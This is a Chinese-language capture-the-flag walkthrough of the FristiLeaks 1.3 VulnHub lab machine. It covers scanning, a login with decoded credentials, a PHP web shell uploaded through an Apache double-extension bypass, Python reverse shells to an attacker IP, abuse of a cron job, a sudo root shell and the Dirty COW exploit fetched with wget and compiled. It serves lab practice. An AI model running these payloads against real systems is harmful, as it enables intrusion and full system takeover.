靶机基本信息:
链接 | https://www.vulnhub.com/entry/fristileaks-13,133/ |
---|---|
作者 | Ar0xA |
发布日期 | 2015年12月14日 |
难度 | 中等 |
一个小型虚拟机是为一个叫做Fristileaks的荷兰非正式黑客聚会而设计的。意味着可以在几个小时内完成,而无需调试程序、逆向工程等。。
VMware用户需要手动将VM的MAC地址编辑为:08:00:27:A5:A6:76
netdiscover -i eth0 -r 192.168.30.0/24
masscan --rate=100000 -p 0-65535 192.168.30.195
nmap -T4 -sV -O -p 80 192.168.30.195
dirb http://192.168.30.195 /usr/share/dirb/wordlists/big.txt
whatweb http://192.168.30.195
通过照片上的提示“This is not the url”,我们可以大概猜测到是想让我们寻找url链接或路径
尝试将fristi作为路径进行访问
成功访问,发现登录页面,在这里可以进行弱口令,暴力破解,尝试找sql注入点(但这些都没有成功)
http://192.168.30.195/fristi/
2.1 查看源码发现了一封邮件,还有很长的base64加密的密文,我们可以猜想这个发件人可能为这里的用户名,base64为加密的密码
2.2 首先想到的就是将密文在kali上进行解密
base64 -d base64.txt > base.txt
2.3 继续进行解密为base64.PNG
base64 -d base64.txt > base64.png
用户名:eezeepz 密码:keKkeKKeKKeKkEkkEk
查看到这是一个apache服务器
apache 的解析漏洞,上传如 a.php.rar a.php.gif 类型的文件名,可以避免 对于php文件的过滤机制,但是由于 apache 在解析文件名的时候是从右向左读,如果遇到不能识别的扩展名则跳过,rar 等扩展名是 apache 不能识别的, 因此就会直接将类型识别为 php,从而达到了注入php代码的目的。
将写好查看phpinfo信息页面脚本进行上传
上传成功,并且上传到了/uploads文件夹下
上传方法与上传phpinfo.php.gif相同
<?php @system($_POST[cmd]);?>
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.30.182",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'
我让你可以做一些自动检查,但我只允许您访问/usr/bin/*系统二进制文件。
然而,我确实复制了一些额外的经常需要的命令到我的homedir:chmod、df、cat、echo、ps、grep、egrep,这样您就可以使用它们了
来自/home/admin/
不要忘记为每个二进制文件指定完整路径!
只需在/tmp/中放入一个名为“runthis”的文件,每行一个命令。这个输出转到/tmp/中的文件“cronresult”。它应该以我的帐户权限每分钟运行一次。
根据提示我们可以看出,在/tmp/中放入一个名为“runthis”的文件,而这个文件就类似/etc/crontab文件,在这里是以admin用户定时执行任务,所以我们的思路是可以利用这个漏洞拿到admin用户的shell
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.30.182",8421));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
wget http://192.168.30.182/privilege.py
方法一:写入执行反弹shell的命令,我们可以拿到admin用户的shell
echo '/usr/bin/python /tmp/privilege.py' > runthis
方法二:将用户admin的家目录权限设置为所有用户均可访问
echo '/usr/bin/../../bin/chmod -R 777 /home/admin' > runthis
python -c 'import pty;pty.spawn("/bin/bash")'
在用户admin家目录下发现加密代码,以及加密后的字符
根据加密加密代码我们可以编写解密代码
#decoderot13.py
import base64,codecs,sys
def decodeString(str):
base64string= codecs.decode(str,'rot13')
return base64.b64decode(base64string[::-1])
cryptoResult=decodeString(sys.argv[1])
print cryptoResult
查看历史可以发现使用这个可执行文件可以以root身份执行命令
那么我们可以以root身份打开一个终端,终端自然是root权限,提权成功
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash
service apache2 start
wget http://192.168.30.182/dirty.c
chmod 777 dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
./dirty 123456